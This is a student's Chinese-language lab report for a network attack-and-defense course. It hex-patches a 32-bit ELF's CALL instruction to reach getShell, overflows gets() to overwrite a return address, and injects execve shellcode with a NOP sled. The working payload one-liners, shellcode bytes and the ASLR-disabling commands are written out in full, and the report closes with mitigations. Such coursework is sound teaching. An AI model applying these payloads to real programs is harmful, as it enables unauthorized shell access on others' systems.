20242426 2025-2026-1 《网络与系统攻防技术》实验1实验报告
[]# 20242426 2025-2026-1 《网络与系统攻防技术》 实验一实验报告
1. 基础知识
NOP、JNE、JE、JMP、CMP 等指令的机器码
下表列出本实验所涉及的32位 x86 指令形式。机器码不仅包含操作码,还可能包含寄存器编码、位移和立即数,不能仅凭一个操作码字节确定完整指令。[1]
| 指令 | 含义 | 常见编码形式 |
|---|---|---|
| NOP | 空操作,继续执行下一条指令 | 90 |
| JNE | ZF=0 时跳转,即比较结果不相等时跳转 | 短跳转 75 rel8;近跳转 0F 85 rel32 |
| JE | ZF=1 时跳转,即比较结果相等时跳转 | 短跳转 74 rel8;近跳转 0F 84 rel32 |
| JMP | 无条件跳转 | 短跳转 EB rel8;近相对跳转 E9 rel32;近间接跳转 FF /4 |
| CMP | 比较两个操作数,更新标志但不保存减法结果 | 例如 39 /r、3B /r、83 /7 ib,具体编码取决于操作数 |
| CALL | 调用函数,保存返回地址并转移执行流程 | 本实验使用近相对调用 E8 rel32 |
其中 rel8、rel32 表示有符号相对位移;/r 和 /4、/7 表示 ModR/M 字节的编码要求;ib 表示1字节立即数。
其中,近相对 CALL 是本实验的关键。操作码 E8 后面跟的4个字节不是绝对地址,而是一个有符号的相对偏移量,CPU 执行时用「下一条指令的地址」加上这个偏移量得到跳转目标。所以只要改掉这 4 个字节,就能改变 call 的去向。
反汇编与十六进制编辑
反汇编是把机器码转换为汇编指令表示的过程。本实验用 objdump -d <文件> 查看代码节的反汇编,用 xxd 查看文件的十六进制内容,再用 dd 配合 seek 参数改写指定文件偏移处的字节。[2] 虚拟地址和文件偏移属于不同坐标,修改前需要根据 ELF 节头信息换算。
栈帧结构与函数返回
32 位 x86 程序调用函数时,栈帧布局如下(以本实验的 foo 为例,缓冲区位于 ebp-0x1c):
高地址
┌──────────────────────┐
│ 调用者的栈帧 │
ebp+0x08├──────────────────────┤
│ 返回地址(4 字节) │ ← ret 指令从此处取出跳转目标
ebp+0x04├──────────────────────┤
│ 保存的 EBP(4 字节)│ ← leave 指令从此处恢复 EBP
ebp+0x00├──────────────────────┤
│ 局部变量 / 缓冲区 │ ← gets 从 ebp-0x1c 开始写入
ebp-0x1c├──────────────────────┤
│ 其他局部或临时空间 │
低地址 └──────────────────────┘
函数执行 ret 时,CPU 从栈顶取出 4 字节直接当作下一条指令的地址。因此只要能往缓冲区里写入超长数据覆盖这一位置,就能控制程序的执行流——这就是缓冲区溢出(BOF)的本质。
两个与内存布局有关的概念
- ASLR(地址空间布局随机化):由
/proc/sys/kernel/randomize_va_space控制,2表示开启(栈、堆、mmap 基址都随机),0表示关闭。ASLR 开启时,不同运行中的栈地址可能发生变化,预先测得的固定地址通常不能直接复用。[6] - 栈可执行(GNU_STACK):用
readelf -l <文件> | grep -A1 GNU_STACK查看,权限为RWE时栈可读可写可执行,注入的 shellcode 才有机会运行;若为RW,这类直接在栈上执行注入代码的方式会受到限制。任务三需要在实验环境中确认可执行栈这一前提。
2. 实验内容
本次实验的对象是一个 Linux 32 位可执行文件 pwn20242426(原文件名为 pwn1)。该程序包含三个函数:
main:调用foofoo:把用户输入的字符串原样回显,内部使用gets(),存在缓冲区溢出漏洞getShell:返回一个可用的 Shell,但正常执行流程中永远不会被调用
实验分为三项,分别验证修改机器指令、覆盖返回地址和注入代码对程序执行流程的影响:
- 手工修改可执行文件,改变程序执行流程,直接跳转到
getShell函数; - 利用 foo 函数的 BOF 漏洞,构造攻击输入字符串覆盖返回地址,触发
getShell; - 构造包含 shellcode 的输入载荷并运行,不再依赖程序里现成的
getShell。
任务一修改磁盘上的可执行文件,任务二通过输入覆盖已有函数的返回地址,任务三进一步验证输入中的代码能否在栈上执行。
3. 实验过程
3.1 环境准备与文件命名
按实验要求,将主机名设为本人姓名拼音 yanyue,实验使用的程序、反汇编文件和输入载荷均以学号 20242426 命名。以下命令按准备顺序整理:
sudo hostnamectl set-hostname yanyue
sudo sed -i 's/\bkali\b/yanyue/g' /etc/hosts
mkdir -p ~/test && cd ~/test
mv pwn1 pwn20242426 # 原始文件(任务二、三使用,全程不改)
cp pwn20242426 pwn20242426_2 # 任务一:待打补丁的副本
chmod +x pwn20242426 pwn20242426_2
ls -l
整理后的文件列表及主机名见图1:程序和副本分别为 pwn20242426、pwn20242426_2,备份为 pwn20242426_bak。若程序已经改名,重复执行 mv pwn1 ... 会提示原文件不存在,此时应先检查文件列表。
chmod +x 用于确保本次实验中的程序具备执行权限。不能把缺少执行权限直接归因于 cp:新建副本的权限受源文件权限、umask 和默认 ACL 等因素影响;目标文件已经存在时,其原有权限通常会保留。[3]
3.2 任务一:直接修改程序机器指令
① 反汇编定位关键指令
objdump -d pwn20242426 | grep -A3 "<getShell>"
objdump -d pwn20242426 | grep -B6 "call.*<foo>"
得到两个关键地址:getShell 入口为 0x0804847d;main 中调用 foo 的指令在 0x080484b5,机器码为 e8 d7 ff ff ff。
② 计算新的跳转偏移量
call 指令长 5 字节(1 字节操作码 e8 + 4 字节偏移量),所以下一条指令在 0x080484b5 + 5 = 0x080484ba:
新偏移量 = getShell 地址 − 下一条指令地址
= 0x0804847d − 0x080484ba
= −0x3d = −61
验证:0x080484ba + (−61) = 0x0804847d ✓
−61 的 32 位补码为 0xFFFFFFC3,又因 x86 采用小端存储,写入文件时字节顺序倒置为 c3 ff ff ff:
原机器码: e8 d7 ff ff ff (0xFFFFFFD7 = −41,指向 foo)
新机器码: e8 c3 ff ff ff (0xFFFFFFC3 = −61,指向 getShell)
▲ ▲
│ └─ 写回这4个字节,其中只有首字节发生变化
└─ e8 操作码保持不变
③ 用三处证据确定文件偏移
反汇编显示的是虚拟地址,而改写文件需要文件偏移。先查看 .text 节的节头信息:
objdump -h pwn20242426 | grep -E "Idx|\.text"
图1中的 .text 节 VMA 为 0x08048380,File off 为 0x00000380,二者并不相等。节内指令的文件偏移按下式换算:
文件偏移 = 指令虚拟地址 − 所在节的 VMA + 所在节的 File off
= 0x080484b5 − 0x08048380 + 0x00000380
= 0x4b5
因此,本文件 .text 节内可以简写为「文件偏移 = 虚拟地址 − 0x08048000」。CALL 的操作码位于 0x4b5,其后4字节位移从 0x4b6 开始。这一简写由本文件的节头信息得出,不能直接套用于其他 ELF 文件。
再用 grep -abo 独立验证字节序列在文件中的位置,并直接用 xxd 观察:
grep -abo $'\xe8\xd7\xff\xff\xff' pwn20242426 # 输出 1205 = 0x4b5
xxd -s 0x4b0 -l 16 pwn20242426 # 0x4b5 处为 e8 d7 ff ff ff
三处证据一致后才动手改写。
④ 改写机器码并验证
printf '\xc3\xff\xff\xff' | dd of=pwn20242426_2 bs=1 seek=$((0x4b6)) count=4 conv=notrunc
xxd -s 0x4b0 -l 16 pwn20242426_2
objdump -d pwn20242426_2 | grep -B6 "call.*<getShell>"
dd 的参数含义:of= 指定写入文件;bs=1 按 1 字节粒度读写;seek 指定写入起始偏移;count=4 只写 4 字节;conv=notrunc 保证不截断文件、只覆盖目标字节。
改写后反汇编确认 call 的目标已由 foo 变为 getShell:
080484b5: e8 c3 ff ff ff call 804847d <getShell>


⑤ 运行验证
./pwn20242426_2
whoami # 回显 kali
id # uid=1000(kali) ...
pwd # /home/kali/test
exit
运行修改后的副本时,main 直接调用 getShell,随后 Shell 能执行 whoami、id 和 pwd。本次操作写回了4字节相对位移,其中只有 d7 改为 c3,另外3字节仍为 ff。
3.3 任务二:构造输入参数造成 BOF 攻击
① 反汇编分析栈布局
objdump -d pwn20242426 > dis20242426.txt
grep -n -A14 "<foo>:" dis20242426.txt
foo 函数的关键汇编如下:
08048491 <foo>:
8048491: 55 push %ebp
8048492: 89 e5 mov %esp,%ebp
8048494: 83 ec 38 sub $0x38,%esp ← 为当前栈帧分配空间,不能直接作为缓冲区大小
8048497: 8d 45 e4 lea -0x1c(%ebp),%eax ← 缓冲区起点
804849a: 89 04 24 mov %eax,(%esp)
804849d: e8 8e fe ff ff call 8048330 <gets@plt> ← 无长度检查
80484a2: 8d 45 e4 lea -0x1c(%ebp),%eax
80484a5: 89 04 24 mov %eax,(%esp)
80484a8: e8 93 fe ff ff call 8048340 <puts@plt>
80484ad: c9 leave
80484ae: c3 ret ← 从栈上取返回地址
sub $0x38,%esp 为当前栈帧分配56字节空间,其中可能包括局部变量、临时空间、调用参数和对齐填充,不能把它直接当作缓冲区长度。lea -0x1c(%ebp),%eax 表明传给 gets 的缓冲区首地址为 ebp-0x1c,但仅凭这一条指令也不能还原源代码中数组的实际大小。
返回地址槽位位于 ebp+4,因此从缓冲区首地址到返回地址的距离为:
偏移 = (ebp + 4) − (ebp − 0x1c)
= 0x1c + 4 = 32 字节
这一偏移还需要通过下面的 gdb 实测验证。
② 用可辨识字符串验证偏移量
先用 4 组可辨识字符构造测试输入,验证第 33~36 字节是否正好落在返回地址上:
perl -e 'print "AAAAAAAA"."BBBBBBBB"."CCCCCCCC"."DDDDDDDD"."1234"' > input20242426_test
wc -c input20242426_test # 36
xxd input20242426_test | tail -3
gdb ./pwn20242426
(gdb) run < input20242426_test
(gdb) info registers eip esp ebp
实测结果:
eip 0x34333231 ← ASCII 的 "1234"(小端 31 32 33 34)
ebp 0x44444444 ← ASCII 的 "DDDD",即保存的 EBP 被覆盖


eip 的值对应第33~36字节的 "1234",与32字节偏移的计算一致,说明本程序的返回地址可被这段输入覆盖。
③ 构造攻击载荷并验证跳转
把末尾的 "1234" 替换为 getShell 的入口地址 0x0804847d,小端写作 \x7d\x84\x04\x08:
perl -e 'print "A" x 32 . "\x7d\x84\x04\x08"' > input20242426
wc -c input20242426 # 36
xxd input20242426 | tail -2 # 末尾为 7d84 0408
在 foo 的 ret 指令(0x80484ae)处下断点,观察 ret 执行前后 eip 的变化:
gdb ./pwn20242426
(gdb) break *0x80484ae
(gdb) run < input20242426
(gdb) x/16x $esp
(gdb) si
(gdb) info registers eip
(gdb) x/4i $eip
断点处 esp 指向的 4 字节正是我们写入的 0x0804847d;单步执行 ret 后 eip 变为 0x0804847d,成功跳入 getShell:
(gdb) x/16x $esp
0xffffcf0c: 0x0804847d 0xffffd100 ... ← esp 首字即 getShell 地址
(gdb) si
0x0804847d in getShell ()
(gdb) info registers eip
eip 0x804847d <getShell>
(gdb) x/4i $eip
=> 0x804847d <getShell>: push %ebp
0x804847e <getShell+1>: mov %esp,%ebp
0x8048480 <getShell+3>: sub $0x18,%esp
0x8048483 <getShell+6>: movl $0x8048560,(%esp)


任务二使用未打补丁的 pwn20242426,通过36字节输入覆盖返回地址。图3中的单步结果验证了程序已跳入 getShell;该截图记录的是函数入口处的执行状态,没有展示这一任务的后续 Shell 命令输出。
3.4 任务三:注入 Shellcode 并执行
① 关闭 ASLR 并确认可执行栈
sudo sysctl -w kernel.randomize_va_space=0
cat /proc/sys/kernel/randomize_va_space # 必须回显 0
readelf -l pwn20242426 | grep -A1 GNU_STACK # 需为 RWE
本实验的 pwn20242426 其 GNU_STACK 本来就是 RWE,因此不需要额外用 execstack -s 打开栈可执行。
执行设置后,应以 cat 的结果确认 ASLR 状态为 0。出现 sudo 密码提示只表示需要认证,不能单凭这一提示判断命令是否执行成功;本实验早期排查时,读取到的状态仍为 2,因此需要重新完成设置并复查(见第4节问题6)。
② 准备 shellcode
本实验载荷使用25字节的32位 x86 shellcode。它构造路径 /bin//sh 和参数数组 argv = {"/bin//sh", NULL},再执行 execve("/bin//sh", argv, NULL)。因此,第二个参数不是空指针。[5] 各字节的含义如下:
| 机器码 | 汇编 | 作用 |
|---|---|---|
31 c0 |
xor %eax,%eax |
eax 清零 |
50 |
push %eax |
压入字符串结束符 |
68 2f 2f 73 68 |
push $0x68732f2f |
入栈 "//sh" |
68 2f 62 69 6e |
push $0x6e69622f |
入栈 "/bin" |
89 e3 |
mov %esp,%ebx |
ebx 指向 /bin//sh |
50 53 |
push %eax; push %ebx |
构造 argv 数组 |
89 e1 |
mov %esp,%ecx |
ecx 指向 argv |
31 d2 |
xor %edx,%edx |
edx 清零 |
b0 0b |
mov $0xb,%al |
eax = 11(execve 系统调用号) |
cd 80 |
int $0x80 |
触发系统调用 |
③ 用探针载荷测出真实栈地址
探针载荷由6字节 NOP、25字节 shellcode 和4字节占位数据组成。结尾不加换行,同时通过下面的 sleep 600 保持管道写端打开;在既没有换行也没有 EOF 的条件下,gets 会等待更多输入,便于附加 gdb 查看 foo 的栈帧。[4] 这35字节探针用于测量地址,不是最终攻击载荷。
printf '\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x01\x02\x03\x04' > probe20242426
wc -c probe20242426 # 35 = 6(NOP) + 25(shellcode) + 4(占位数据)
在终端 A 中让程序阻塞:
(cat probe20242426; sleep 600) | ./pwn20242426
在新终端 B 中附加并读取 foo 的真实栈帧:
ps -ef | grep [p]wn20242426
sudo gdb -q -p <PID>
(gdb) bt
(gdb) frame 10 # 本次 bt 中 foo 是第10帧,其他运行应以 bt 为准
(gdb) info registers ebp
(gdb) x/12x $ebp-0x1c

图4的 bt 输出中,foo 位于第10帧,前面的帧与 gets 的输入读取过程有关。切到 foo 所在帧后读得:
ebp = 0xffffcf48
应根据 bt 中的函数名选择 foo,而不是固定使用第2帧或第10帧。图4中的第2帧属于 libc,不能用它的 ebp 计算 foo 的缓冲区地址。

④ 计算 shellcode 地址并构造最终载荷
缓冲区起点 = ebp − 0x1c = 0xffffcf2c,返回地址槽位 = ebp + 4 = 0xffffcf4c。
最终载荷结构为 填充 + 返回地址 + NOP 滑板 + shellcode + 换行:
┌──────────────┬──────────────┬───────────────┬────────────┬────────┐
│ 填充 32 字节 │ 返回地址 4B │ NOP 滑板 200B │ shellcode │ 换行 │
│ \x90 × 32 │ 0xffffcfb4 │ \x90 × 200 │ 25 字节 │ \x0a │
└──────────────┴──────────────┴───────────────┴────────────┴────────┘
总长 262 = 32 + 4 + 200 + 25 + 1
200字节 NOP 区域的地址范围为 ebp+8 至 ebp+207。选取的返回地址 ebp+108 = 0xffffcfb4 位于滑板中部,距起点100字节,距最后一个 NOP 为99字节。落在这段 NOP 区域中的执行地址会继续前进到 shellcode;这种安排增加了对小幅地址偏差的容忍,但不能保证载荷适用于其他启动环境。
perl -e 'print "\x90" x 32 . "\xb4\xcf\xff\xff" . "\x90" x 200 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" . "\x0a"' > input_shellcode20242426
wc -c input_shellcode20242426 # 262
⑤ 发起攻击
本实验使用 (cat 载荷; cat) | ./程序:前一个 cat 发送载荷,后一个 cat 继续转发终端输入,使新启动的 Shell 能读取后续命令。若仅从已耗尽的文件读取,Shell 可能在遇到 EOF 后立即退出。
(cat input_shellcode20242426; cat) | ./pwn20242426
whoami
echo $0
id
exit

图5记录了载荷输入后执行命令的结果,与 shellcode 启动 Shell 的预期一致:
whoami → kali
echo $0 → /bin//sh
id → uid=1000(kali) gid=1000(kali) groups=...
echo $0 返回的 /bin//sh 与 shellcode 中拼接的路径一致,whoami 和 id 则表明后续命令得到了执行。结合图5中的载荷和运行过程,这些结果支持本次注入执行成功的判断;仅凭 $0 的字符串本身,不能唯一证明具体机器指令的执行路径。
4. 问题及解决方案
问题 1:复制文件后无法执行,提示「权限不够」
- 现象:
cp pwn20242426 pwn20242426_2之后执行./pwn20242426_2报zsh: 权限不够。 - 分析:出现这一提示时,应检查副本的执行权限及文件系统挂载选项。不能仅凭复制操作认定 cp 默认移除了执行位;本报告未记录当时完整的权限和挂载信息,因此不进一步断定具体原因。[3]
- 解决方案:用
ls -l检查权限,执行chmod +x pwn20242426_2后再次运行。若仍提示权限不足,再检查其他执行限制。
问题 2:虚拟地址与文件偏移容易混淆
- 现象:按「虚拟地址 − 0x08048000」推算 call 指令位于文件偏移
0x4b5,但用xxd观察时一度对不上,人工数十六进制转储的列位置也很容易数错。 - 原因:反汇编地址和文件偏移不是同一个数值,需要查看 ELF 节头中的 VMA 与 File off;人工读取 xxd 的列位置也容易出错。
- 解决方案:本文件
.text节的 VMA 为0x08048380,File off 为0x380。按「指令地址 − 节VMA + 节文件偏移」得到0x4b5,再用grep -abo得到的1205和 xxd 内容交叉验证。
问题 3:安装 gdb 失败,提示网络不可达
- 现象:
sudo apt install gdb报「无法下载 libsource-highlight-common,无法发起与 mirrors.neusoft.edu.cn:80 的连接,网络不可达」。 - 分析:报错说明软件包下载连接失败,可能与镜像站、网络连通性或 IPv4/IPv6 路由有关,仅凭这段提示不足以确定是 IPv6 导致。
- 解决方案:检查虚拟机网络和软件源,必要时更换可访问的镜像并重新
apt update。sudo apt install -y --no-install-recommends gdb只会排除推荐包,不能跳过必需依赖;如果失败的软件包属于必需依赖,仍需修复下载问题。[9]
问题 4:gdb 中测得的栈地址与真实运行不一致
- 现象:最初用
gdb ./pwn20242426加run的方式下断点,读到的ebp与真实运行时的值不符,据此算出的返回地址反复失败。 - 分析:在 gdb 内启动程序与从终端启动程序,其环境、参数和随机化设置可能不同。gdb 启动的程序会继承其环境,且在支持的平台上默认尝试关闭地址随机化。具体地址差异不能仅归因于
LINES、COLUMNS两个变量,也不能断定移动方向。[7][8] - 解决方案:改用「附加真实进程」的方式——在一个终端用
(cat probe20242426; sleep 600) | ./pwn20242426让程序阻塞在gets(),在另一个终端用sudo gdb -q -p <PID>附加,通过bt找到 foo 所在帧,再读取其 ebp。本次截图中 foo 为第10帧,其他运行应重新检查帧号。
问题 5:直接运行看不到 shell
- 现象:用
./pwn20242426 < 载荷的方式运行时,程序只回显载荷后即退出,看不到 Shell。 - 原因:gets 遇到换行或 EOF 都会结束读取。普通文件即使末尾没有换行,也能在文件结束时返回;没有换行且管道写端保持打开时才会继续等待。文件重定向还会使新启动的 Shell 继承已耗尽的输入流,从而可能很快退出。[4]
- 解决方案:在本实验的管道输入中,用末尾的
\x0a结束 gets 的读取,再用(cat input_shellcode20242426; cat) | ./pwn20242426保持后续命令输入。
问题 6:ASLR 未真正关闭导致攻击持续失败
- 现象:任务三早期尝试时,程序打印载荷后报
segmentation fault。随后在原终端执行echo $0得到/usr/bin/zsh,未观察到预期的 Shell 命令输出;反复更换返回地址也未解决这一问题。 - 分析:读取
/proc/sys/kernel/randomize_va_space时仍回显2,说明当时尚未关闭 ASLR;sudo 密码提示本身不能说明命令最终是否生效。开启随机化时,之前测量的栈地址通常不能直接用于下一次运行。[6] - 解决方案:确认 sudo 密码输入完成后,再次执行
sudo sysctl -w kernel.randomize_va_space=0,并用cat /proc/sys/kernel/randomize_va_space确认回显为0,然后重新测量ebp、重新构造载荷,随后获得图5中的命令输出。这一步说明,关键配置应通过读取实际状态来确认。
问题 7:修改主机名后 sudo 报「无法解析主机」
- 现象:
hostnamectl set-hostname yanyue之后,每次执行sudo都会出现sudo: 无法解析主机: yanyue: 域名解析出现暂时性错误。 - 原因:主机名改了,但
/etc/hosts中没有与新主机名对应的记录,sudo 解析自身主机名时失败。 - 解决方案:检查
/etc/hosts中的本地主机映射,将相应记录改为127.0.1.1 yanyue,避免重复追加相同记录,再次执行 sudo 检查提示是否消失。
5. 学习感悟、思考等
任务一让我把汇编指令、机器码和文件偏移联系起来。CALL 后面的4字节是相对位移,不是目标地址;写入前还必须把反汇编地址换算为文件偏移。本次写回 c3 ff ff ff 后,实际只有 d7 变为 c3,调用目标就由 foo 变为 getShell。相比只记住修改命令,先计算再用反汇编验证更能说明修改是否正确。
任务二让我理解了返回地址覆盖的过程。sub $0x38,%esp 不能直接用来确定输入偏移,应比较缓冲区首地址 ebp-0x1c 与返回地址槽位 ebp+4。输入末尾的 1234 使 eip 变为 0x34333231,把32字节的偏移计算与实际寄存器状态对应起来;随后替换这4字节,单步执行 ret 就进入了 getShell。
任务三花了更多时间在环境排查上。早期失败时,我检查到 ASLR 状态仍为 2,重新设置并确认回显为 0 后,再附加实际运行的进程测量 foo 的 ebp。这个过程提醒我,敲入命令和确认配置生效是两件事;调试器内外的启动条件也应分别核对。最终的 /bin//sh 和命令输出与载荷预期一致,但报告中仍应把观察到的结果和据此作出的判断分开写清楚。
三项任务也对应不同的防御问题。任务一依赖对磁盘可执行文件的写权限,应通过文件权限和完整性检查限制未经授权的修改;Canary、NX 和 ASLR 不能直接阻止这种文件补丁。对于任务二、三,边界检查能从输入写入处避免越界,Canary 可检测部分栈破坏,NX 可限制在栈上执行代码,ASLR 可增加固定地址利用的难度。[6][10] 本报告没有记录原程序的编译命令,因此不把“主动关闭了 Canary”作为已验证的实验步骤。使用 fgets 等函数时,也需要传入与实际缓冲区匹配的长度,并处理输入截断等情况。
参考资料
- Intel. Intel® 64 and IA-32 Architectures Software Developer’s Manuals,Volume 2:指令参考.
- GNU Binutils. objdump 手册.
- GNU Coreutils. cp:Copy files and directories
- Linux man-pages. gets(3):读取至换行或文件结束.
- Linux man-pages. execve(2):执行程序及参数数组.
- Linux Kernel Documentation. randomize_va_space.
- GDB. Your Program’s Environment.
- GDB. Starting Your Program:disable-randomization.
- Debian APT. apt-get(8):--no-install-recommends.
- GCC. Instrumentation Options:栈保护选项.
- 《网络与系统攻防技术》实验指导书,0x11 逆向与 Bof 基础(课程资料)。
- Exploit-DB. Shellcode 库(公开示例检索入口)。
浙公网安备 33010602011771号